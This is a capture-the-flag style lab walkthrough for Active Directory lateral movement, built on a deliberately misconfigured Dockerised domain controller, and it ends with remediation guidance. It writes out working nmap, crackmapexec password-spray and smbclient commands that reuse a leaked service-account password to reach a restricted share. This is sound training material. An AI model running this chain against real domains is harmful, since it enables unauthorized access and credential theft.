Lateral movement — Hands-on lab
You stand up a deliberately misconfigured Active Directory domain controller and a Kali attacker workstation, both in Docker. Starting from minimal network access, you progress step by step until you read a file restricted to a service account.
What you will be able to do
- Provision a full AD domain in a single command, without a Windows virtual machine.
- Chain reconnaissance, password spray, share enumeration, credential leak, and identity pivot — the most common attack chain in internal pentesting in 2026.
- Produce a report that stands up in front of a client, with the expected remediation for each weak link.
Lab plan
- Start the lab
- Step 1 — network reconnaissance
- Step 2 — password spray
- Step 3 — share enumeration
- Step 4 — read the
team-notesshare - Step 5 — identity pivot to
svc_sql - Step 6 — read the flag
- Report
- Checklist
- Cleanup
Requirements
- Docker Desktop 4.x running (Windows, macOS or Linux).
- The
inskillsec-docusaurusrepository cloned locally. - Roughly 4 GB of free disk space and 3 GB of free RAM.
Start the lab
cd inskillsec-docusaurus/labs/docker/module-10-mouvements-lateraux
docker compose up -d
The first DC boot takes about a minute (domain provisioning, user
creation, share setup). The attacker automatically waits until the DC
is healthy before starting. You can watch the provisioning live:
docker logs -f m10-dc01
When you see the line [m10] === Daemon en premier plan ===,
provisioning is done. Open a shell on the attacker:
docker compose exec attaquant bash
You are now inside a Kali workstation on the 10.20.30.0/24 network,
with dc01.corp.acme.local as target at 10.20.30.10.
Step 1 — network reconnaissance
You have no credentials. You scan the DC to identify the classic domain controller ports.
nmap -Pn -p22,53,88,135,139,389,445,464,636,3268,3269 10.20.30.10
What you should see:
88/tcp(Kerberos) and464/tcp(Kerberos password change) open — the typical DC signature.389/tcpand636/tcp(LDAP and LDAPS) open.445/tcp(SMB) open.3268/tcpand3269/tcp(global catalog) open.
Write every port into your report: this is your map of the terrain.
Why we target these ports and not others
A Windows DC exposes a very recognizable network signature. The
Kerberos + LDAP + global catalog combination is almost impossible to
confuse with any other application. If you scan a whole /24 of
servers, seeing these ports tells you immediately "that's the DC,
focus here". Everything else (SMB, RPC endpoint mapper) is open on
many non-DC Windows servers.
Step 2 — password spray
You guess three common usernames (alice, bob, svc_sql) and test
a small seasonal password wordlist.
echo -e "alice\nbob\nsvc_sql" > /tmp/users.txt
echo -e "Summer2025!\nWinter2024!\nPassword1" > /tmp/passwords.txt
crackmapexec smb 10.20.30.10 \
-u /tmp/users.txt \
-p /tmp/passwords.txt \
--continue-on-success
Spot the lines starting with [+]: they mark a successful login. You
should get at least bob:Summer2025!.
Why these three users and not others
In a real pentest, the user list comes from OSINT (LinkedIn, the
corporate site, an email leak). We simulate it here: we bet the
company has an accountant (alice), a level 1 support technician
(bob) and at least one SQL Server service account (svc_sql). This
minimal list proves an important point: a handful of good names is
enough to bootstrap the spray. You don't need a 500-user list to
land the first credential.
Why limit ourselves to three passwords
Password spray differs from brute force by being quiet: a handful of passwords tested against many users, without ever tripping the lockout policy. Three seasonal candidates is already enough to catch HR, support, or new hires who never changed their password. If you test too much, you lock accounts and the admin sees the attack.
Step 3 — share enumeration
From bob's context, list the accessible shares:
crackmapexec smb 10.20.30.10 -u bob -p 'Summer2025!' --shares
You should see:
| Share | Permissions | Comment |
|---|---|---|
sysvol | READ | Standard AD share, usually empty |
netlogon | READ | Standard AD share, usually empty |
team-notes | READ | Internal support team notes |
backups | (none) | Denied — our final target |
bob can read team-notes but not backups. That is where we
will look for a pivot.
Step 4 — read the team-notes share
smbclient '//10.20.30.10/team-notes' -U 'bob%Summer2025!' \
-c 'ls; mget *; exit'
You get two files: README-Onboarding.txt and deploy-notes.md. Read
them:
cat README-Onboarding.txt
cat deploy-notes.md
Look for any mention of a password, credential, or account. You should
land on this line in README-Onboarding.txt:
connect with the SQL service account svc_sql. The password is "Password1"
You have your pivot: svc_sql:Password1.
What this finding proves in a report
A cleartext credential in a share readable by every authenticated user is the #1 pentest finding of 2026. It combines three flaws:
- A share opened too broadly (to every domain user instead of a restricted group).
- A service password that was never rotated (Password1 in use for two years, according to onboarding).
- Onboarding advice that recommends sharing passwords via a file instead of a vault.
Each of these points must appear explicitly in the "remediation" section of your report.
Step 5 — identity pivot to svc_sql
First verify that svc_sql truly has access to backups, whereas
bob did not:
smbclient '//10.20.30.10/backups' -U 'bob%Summer2025!' -c 'ls' 2>&1 | head -3
# → NT_STATUS_ACCESS_DENIED
smbclient '//10.20.30.10/backups' -U 'svc_sql%Password1' -c 'ls' 2>&1 | head -5
# → file listing
Same resource, denial disappears the moment the identity changes. You just moved laterally without an exploit — only with a poorly stored credential.
Step 6 — read the flag
smbclient '//10.20.30.10/backups' -U 'svc_sql%Password1' \
-c 'get secret.txt /tmp/flag.txt; exit'
cat /tmp/flag.txt
Look for the line starting with Le drapeau que vous cherchez :. The
expected flag is:
FLAG-M10-CREDENTIAL-LEAK-CHAIN-2026
Save it, it will go into your report.
Report
Write rapport/lateralisation-m10.md in the mounted volume
(/home/pentester/labs/rapport/) with five sections:
- Executive summary — two sentences: "starting from network access alone, I obtained read access to a share restricted to a service account". State the path in a single line.
- Attack chain — an ordered list of the six steps above, each with the exact command and a screenshot or output excerpt.
- Weaknesses identified — one point per weak link: weak
password on
bob,team-notesshare too open, cleartext credential in a file, service password never rotated. - Remediation — for each weakness, a concrete action (password policy, team credential vault, restrict the share to a support group, scheduled service-account rotation, migration to gMSA).
- Evidence — the commands executed, files recovered, and the final flag. A reader who wasn't there must be able to replay the attack without asking you.
Checklist
-
docker compose up -dfinished without error anddocker compose psshows both containersrunningwithdc01healthy. -
nmaplisted the expected AD ports (88, 389, 445 at minimum). - Password spray found at least
bob:Summer2025!. -
crackmapexec --shareslistedteam-notesas readable andbackupsas denied frombob. - You read
README-Onboarding.txtand spotted the cleartextsvc_sqlcredential. -
bobcannot readbackups(NT_STATUS_ACCESS_DENIED) butsvc_sqlcan. - You recovered
secret.txtand the flagFLAG-M10-CREDENTIAL-LEAK-CHAIN-2026. - Your report
lateralisation-m10.mdcontains the five expected sections.
What this lab does NOT cover
- Working Kerberoasting. SPNs are visible on
svc_sqlandsvc_backup(you can verify withimpacket-GetUserSPNs), but Samba AD 4.19+'s Kerberos implementation rejects impacket's TGS requests withKRB_AP_ERR_INAPP_CKSUM. The concept is covered in lesson 10.1. To exploit it for real, go to HackTheBox Forest or TryHackMe Attacktive Directory which run on real Windows AD. - AS-REP Roasting — same reason, Samba enforces pre-authentication.
- NTLM relay — would require a Windows client in the compose. Covered theoretically in 10.1.
Cleanup
When you are done:
cd inskillsec-docusaurus/labs/docker/module-10-mouvements-lateraux
docker compose down -v
The -v flag also removes the volumes that hold the AD LDAP database,
the sysvol, and the shares. The next up will start from a freshly
provisioned domain.